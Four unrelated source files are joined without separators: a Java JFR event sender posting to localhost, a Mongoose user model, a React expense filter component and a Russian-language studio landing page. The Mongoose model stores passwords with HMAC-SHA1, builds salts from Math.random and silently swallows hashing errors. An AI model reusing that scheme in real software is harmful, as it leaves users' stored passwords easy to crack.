package net.ptidej.newjava.jfrstreaming; import java.io.IOException; import java.net.URI; import java.net.http.HttpClient; import java.net.http.HttpRequest; import java.net.http.HttpResponse; import java.time.Duration; import java.util.function.Consumer; import java.util.logging.Level; import java.util.logging.Logger; import com.fasterxml.jackson.databind.ObjectMapper; import jdk.jfr.consumer.RecordedEvent; public final class JfrStreamEventSender implements Consumer<RecordedEvent> { private static final String SERVER_URL = "http://127.0.0.1:8080/events"; @Override public void accept(final RecordedEvent event) { try { // var payload = FileProcessor.decodeEvent(event); System.out.println(event); String json = new ObjectMapper().writeValueAsString(event); var client = HttpClient.newHttpClient(); var request = HttpRequest.newBuilder().uri(URI.create(SERVER_URL)).timeout(Duration.ofSeconds(30)) .header("Content-Type", "application/json").POST(HttpRequest.BodyPublishers.ofString(json)).build(); HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString()); Logger.getLogger("JfrStreamEventSender").log(Level.INFO, "Server response code: " + response.statusCode() + ", body: " + response.body()); } catch (IOException | InterruptedException e) { Logger.getLogger("JfrStreamEventSender").log(Level.SEVERE, "Unable to send JFR event to server", e); } } }
const mongoose = require('mongoose'); const crypto = require('crypto'); const userSchema = new mongoose.Schema({ username:{ type: String, trim:true, required:true, maxLength:32, unique:true, index:true, lowercase:true }, name:{ type: String, trim:true, required:true, maxLength:32 }, email:{ type: String, trim:true, required:true, lowercase:32, unique:true, index:true, lowercase:true }, profile:{ type: String, required:true }, hashed_password:{ type:String, required:true }, salt:String, about:{ type:String }, role:{ type:Number, default:0 }, photo:{ data:Buffer, contentType:String }, resetPasswordLink:{ data:String, default:'' } },{timestamp:true}) userSchema.virtual('password') .set(function(password){ this._password = password this.salt=this.makeSalt() this.hashed_password = this.encryptPassword(password) }) .get(function(){ return this._password; }) userSchema.methods = { authenticate: function(plainText){ return this.encryptPassword(plainText)=== this.hashed_password; }, encryptPassword: function(password){ if(!password) return "" try{ return crypto.createHmac('sha1',this.salt) .update(password) .digest('hex'); }catch(err){ } }, makeSalt: function(){ return Math.round(new Date().valueOf() * Math.random()) + ''; } } module.exports = mongoose.model('User',userSchema);
import React from 'react'; import {connect} from 'react-redux' import {DateRangePicker} from 'react-dates' import {setTextFilter, sortByDate, sortByAmount, setStartDate, setEndDate} from '../actions/filters' class ExpenseListFilters extends React.Component{ state = { calendarFocused: null }; onDatesChange =({startDate, endDate}) => { this.props.dispatch(setStartDate(startDate)) this.props.dispatch(setEndDate(endDate)) } onFocusChange = (calendarFocused) => { this.setState(() => ({calendarFocused})) } render() { return ( <div> <input type="text" defaultValue={this.props.filters.text} onChange={(e) => { this.props.dispatch(setTextFilter(e.target.value)) }}/> <select value = {this.props.filters.sortBy} onChange={(e)=>{ if (e.target.value === 'date') { this.props.dispatch(sortByDate(e.target.value)) } else if (e.target.value === 'amount') this.props.dispatch(sortByAmount(e.target.value)) }} > <option value='date'>Date</option> <option value='amount'>Amount</option> </select> <DateRangePicker startDate ={this.props.filters.startDate} startDateId="1" endDate ={this.props.filters.endDate} endDateId = "1" onDatesChange={this.onDatesChange} focusedInput={this.state.calendarFocused} onFocusChange={this.onFocusChange} showClearDates={true} numberOfMonths={1} isOutsideRange={() => false} /> </div> ) } } const mapStateToProps = (state) => { return { filters: state.filters } } export default connect(mapStateToProps)(ExpenseListFilters);
<!DOCTYPE html> <html lang="ru"> <head> <meta charset="UTF-8" /> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@700&family=Roboto:wght@400;500;700;900&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/modern-normalize/1.1.0/modern-normalize.min.css" integrity="sha512-wpPYUAdjBVSE4KJnH1VR1HeZfpl1ub8YT/NKx4PuQ5NmX2tKuGu6U/JRp5y+Y8XG2tV+wKQpNHVUX03MfMFn9Q==" crossorigin="anonymous" referrerpolicy="no-referrer" /> <link rel="stylesheet" href="./css/styles.css" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>WebStudio</title> </head> <body> <!-- ГОЛОВА --> <header class="header"> <div class="container flex"> <nav class="nav flex"> <a class="logo" href="/"> <span class="web">Web</span>Studio</a> <ul class="header-list-nav-1"> <li><a class="header-nav-1" href="./index.html">Студия</a></li> <li><a class="header-nav" href="./portfolio.html">Портфолио</a></li> <li><a class="header-nav" href="/">Контакты</a></li> </ul> </nav> <ul class="header-list-nav-2 list"> <li> <a class="header-contacts" href=""> <svg class="header-contacts-icon" width="16" height="12"> <use href="./image/icons.svg#icon-mail"> </use> </svg>info@devstudio.com</a> </li> <li> <a class="header-contacts" href=""> <svg class="header-contacts-icon" width="16" height="12"> <use href="./image/icons.svg#icon-phone"> </use> </svg>+38 096 111 11 11</a> </li> </ul> </div> </div> </header> <!-- КОНЕЦ ГОЛОВЫ --> <main> <!--СЕКЦИЯ 1--> <section class="section-1 hero"> <div class="container"> <div class="content-section"> <h1 class="head">ЭФФЕКТИВНЫЕ РЕШЕНИЯ ДЛЯ ВАШЕГО БИЗНЕССА</h1> <button class="button head-button" data-modal-open type="button">Заказать услугу</button> </div> </div> </section> <!-- КОНЕЦ СЕКЦИЯ 1 --> <!--ОСОБЕННОСТИ--> <section class="section-special"> <div class="container"> <ul class="advantages-container list"> <li class="advantage-block icon-antenna"> <h3 class="h3-advantages">ВНИМАНИЕ К ДЕТАЛЯМ</h3> <p class="about-advantages"> Идейные соображения, а также начало повседневной работы по формированию позиции. </p> </li> <li class="advantage-block icon-clock"> <h3 class="h3-advantages">ПУНКТУАЛЬНОСТЬ</h3> <p class="about-advantages"> Задача организации, в особенности же рамки и место обучения кадров влечет за собой. </p> </li> <li class="advantage-block icon-diagram"> <h3 class="h3-advantages">ПЛАНИРОВАНИЕ</h3> <p class="about-advantages"> Равным образом консультация с широким активом в значительной степени обуславливает. </p> </li> <li class="advantage-block icon-astronaut"> <h3 class="h3-advantages">СОВРЕМЕННЫЕ ТЕХНОЛОГИИ</h3> <p class="about-advantages"> Значимость этих проблем настолько очевидна, что реализация плановых заданий. </p> </li> </ul> </div> </section> <!--КОНЕЦ ОСОБЕННОСТИ--> <!--ЧЕМ МЫ ЗАНИМАЕМСЯ--> <section class="section-second"> <div class="container"> <h2 class="main-info">Чем мы занимаемся</h2> <ul class="main-info-container list"> <li class="main-info-container-img"> <img class="img-info" src="./image/coding.jpg" alt="" width="370" height="294" /> <div class="main-info-container-services"> <h2 class="main-info-container-h2">Десктопные приложения</h2> </div> </li> <li class="main-info-container-img"> <img class="img-info" src="./image/mobile.jpg" alt="" width="370" height="294" /> <div class="main-info-container-services"> <h2 class="main-info-container-h2">Десктопные приложения</h2> </div> </li> <li class="main-info-container-img"> <img class="img-info" src="./image/designer.jpg" alt="" width="370" height="294" /> <div class="main-info-container-services"> <h2 class="main-info-container-h2">Десктопные приложения</h2> </div> </li> </ul> </div> </section> <!-- КОНЕЦ ЧЕМ МЫ ЗАНИМАЕМСЯ--> <!--НАЩА КОМАНДА--> <section class="section cards"> <div class="container"> <h2 class="main-info-2">Наша команда</h2> <ul class="list team-container"> <li class="team-worker"> <img src="./image/product_designer.jpg" alt="Фото Игорь Демьяненко" width="270" height="260" /> <div class="team-worker-discriptions"> <h3 class="team">Игорь Демьяненко</h3> <p class="team-position">Product Designer</p> <ul class="social-list list"> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-instagram"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-twitter"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-facebook"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-linkedin"></use> </svg> </a> </li> </ul> </div> </li> <li class="team-worker"> <img src="./image/Frontend_developer.jpg" alt="Фото Ольга Репина" width="270" height="260" /> <div class="team-worker-discriptions"> <h3 class="team">Ольга Репина</h3> <p class="team-position">Frontend Developer</p> <ul class="social-list list"> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-instagram"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-twitter"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-facebook"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-linkedin"></use> </svg> </a> </li> </ul> </div> </li> <li class="team-worker"> <img src="./image/Merketing.jpg" alt="Фото Николай Тарасов" width="270" height="260" /> <div class="team-worker-discriptions"> <h3 class="team">Николай Тарасов</h3> <p class="team-position">Marketing</p> <ul class="social-list list"> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-instagram"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-twitter"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-facebook"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-linkedin"></use> </svg> </a> </li> </ul> </div> </li> <li class="team-worker"> <img src="./image/ul_designer.jpg" alt="Фото Михаил Ермаков" width="270" height="260" /> <div class="team-worker-discriptions"> <h3 class="team">Михаил Ермаков</h3> <p class="team-position">UI Designer</p> <ul class="social-list list"> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-instagram"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-twitter"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-facebook"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-link" href=""> <svg class="social-list-icon" width="20" height="20"> <use href="./image/icons.svg#icon-linkedin"></use> </svg> </a> </li> </ul> </div> </li> </ul> </div> </section> <section class="section"> <div class="container"> <h2 class="main-info-2">Постоянные клиенты</h2> <ul class="clients-list list"> <li class="clients-list-item"> <a class="clients-list-link" href=""> <svg class="clients-list-icon" width="106" height="60"> <use href="image/icons.svg#icon-svg-1"></use> </svg> </a> </li> <li class="clients-list-item"> <a class="clients-list-link" href=""> <svg class="clients-list-icon" width="106" height="60"> <use href="image/icons.svg#icon-svg-2"></use> </svg> </a> </li> <li class="clients-list-item"> <a class="clients-list-link" href=""> <svg class="clients-list-icon" width="106" height="60"> <use href="image/icons.svg#icon-svg-3"></use> </svg> </a> </li> <li class="clients-list-item"> <a class="clients-list-link" href=""> <svg class="clients-list-icon" width="106" height="60"> <use href="image/icons.svg#icon-svg-4"></use> </svg> </a> </li> <li class="clients-list-item"> <a class="clients-list-link" href=""> <svg class="clients-list-icon" width="106" height="60"> <use href="image/icons.svg#icon-svg-5"></use> </svg> </a> </li> <li class="clients-list-item"> <a class="clients-list-link" href=""> <svg class="clients-list-icon" width="106" height="60"> <use href="image/icons.svg#icon-svg-6"></use> </svg> </a> </li> </ul> </div> </section> </main> <!--КОНЕЦ НАЩА КОМАНДА--> <!-- ПОДВАЛ --> <footer class="footer"> <div class="container flex"> <div class="footer-container"> <a class="logo-2" href="/"> <span class="web">Web</span>Studio </a> <address> <p class="footer-address">г. Киев, пр-т Леси Украинки, 26</p> <ul> <li><a class="footer-contacts" href=""> info@example.com</a></li> <li><a class="footer-contacts" href=""> +38 099 111 11 11</a></li> </ul> </address> </div> <div class="join"> <p class="join-text">ПРИСОЕДИНЯЙТЕСЬ</p> <ul class="social-list list"> <li class="social-list-item"> <a class="social-list-footer-link" href=""> <svg class="social-list-footer-icon" width="20" height="20"> <use href="./image/icons.svg#icon-instagram"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-footer-link" href=""> <svg class="social-list-footer-icon" width="20" height="20"> <use href="./image/icons.svg#icon-twitter"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-footer-link" href=""> <svg class="social-list-footer-icon" width="20" height="20"> <use href="./image/icons.svg#icon-facebook"></use> </svg> </a> </li> <li class="social-list-item"> <a class="social-list-footer-link" href=""> <svg class="social-list-footer-icon" width="20" height="20"> <use href="./image/icons.svg#icon-linkedin"></use> </svg> </a> </li> </ul> </div> <form class="form-subscribe"> <p class="subscribe-text">Подпишитесь на рассылку</p> <div class="subscribe"> <!-- <label for="user-email"></label> --> <input type="email" name="user-email" id="user-email" class="form-subscribe-input" required placeholder="E-mail"> </div> <button type="submit" class="subscribe-btn">Подписаться <span class="subscribe-btn-icon"> <svg width="24" height="24"> <use href="./image/icons.svg#icon-icon-send"></use> </svg> </span> </button> </form> </div> </footer> <!-- КОНЕЦ ПОДВАЛ --> <!-- MODALKA --> <div class="backdrop is-hidden" data-modal> <div class="modal"> <button type="button" class="clous-btn" data-modal-close> <svg width="11" height="11"> <use href="./image/icons.svg#icon-icon-close"></use> </svg> </button> <form action="#" class="modal-form"> <b class="modal-form-head">Оставьте свои данные, мы вам перезвоним</b> <label class="modal-form-field"> Имя <span class="modal-form-input-wrapper"> <input type="text" name="user-name" class="modal-form-input" required minlength="2" pattern="[a-zA-Zа-яёА-ЯЁ]+" placeholder=" "> <span class="modal-form-icon"> <svg width="18" height="18"> <use href="./image/icons.svg#icon-person-black"></use> </svg> </span> </span> </label> <label class="modal-form-field"> Телефон <span class="modal-form-input-wrapper"> <input type="tel" name="user-phone" class="modal-form-input" required pattern="[0-9]{3}-[0-9]{3}-[0-9]{2}-[0-9]{2}" title="096-111-11-11" placeholder=" "> <span class="modal-form-icon"> <svg width="18" height="18"> <use href="./image/icons.svg#icon-phone-black"></use> </svg> </span> </span> </label> <label class="modal-form-field"> Почта <span class="modal-form-input-wrapper"> <input type="email" name="user-mail" class="modal-form-input" required placeholder=" "> <span class="modal-form-icon"><svg width="18" height="18"> <use href="./image/icons.svg#icon-email-black"></use> </svg></span> </span> </label> <label class="modal-form-field"> Комментарий <textarea name="user-message" class="modal-form-message" placeholder="Введите текст"></textarea> </label> <div class="modal-form-checkbox-wrapper"> <label for="user-policy" class="modal-form-policy-label"> <input type="checkbox" name="user-policy" id="user-policy" class="modal-form-checkbox visually-hidden is-hidden" required> <span class="modal-form-checkbox-icon"></span> Соглашаюсь с рассылкой и принимаю&nbsp;<a class="modal-form-policy-link" href="">Условия договора</a></label> </div> <button type="submit" class="modal-form-btn">Отправить</button> </form> </div> </div> <script src="./js/modal.js"></script> </body> </html>